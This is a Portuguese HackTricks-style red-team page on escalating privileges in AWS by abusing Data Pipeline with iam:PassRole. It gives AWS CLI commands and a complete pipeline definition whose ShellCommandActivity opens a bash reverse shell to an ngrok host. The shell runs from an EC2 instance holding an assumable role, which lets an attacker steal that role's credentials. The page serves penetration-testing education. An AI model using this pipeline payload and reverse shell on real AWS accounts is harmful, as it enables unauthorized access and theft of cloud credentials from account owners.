AWS - Datapipeline Privesc

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

datapipeline

Para mais informações sobre datapipeline, verifique:

pageAWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Usuários com essas permissões podem escalar privilégios criando um Data Pipeline para executar comandos arbitrários usando as permissões da função atribuída:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Após a criação do pipeline, o atacante atualiza sua definição para ditar ações específicas ou criações de recursos:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

Note que a função nas linhas 14, 15 e 27 precisa ser uma função assumível por datapipeline.amazonaws.com e a função na linha 28 precisa ser uma função assumível por ec2.amazonaws.com com um perfil de instância EC2.

Além disso, a instância EC2 terá acesso apenas à função assumível pela instância EC2 (então você só pode roubar aquela).

```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json ``` O **arquivo de definição do pipeline, criado pelo atacante, inclui diretivas para executar comandos** ou criar recursos via API da AWS, aproveitando as permissões de função do Data Pipeline para potencialmente obter privilégios adicionais.

Impacto Potencial: Escalação direta de privilégios para a função de serviço ec2 especificada.

Referências

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización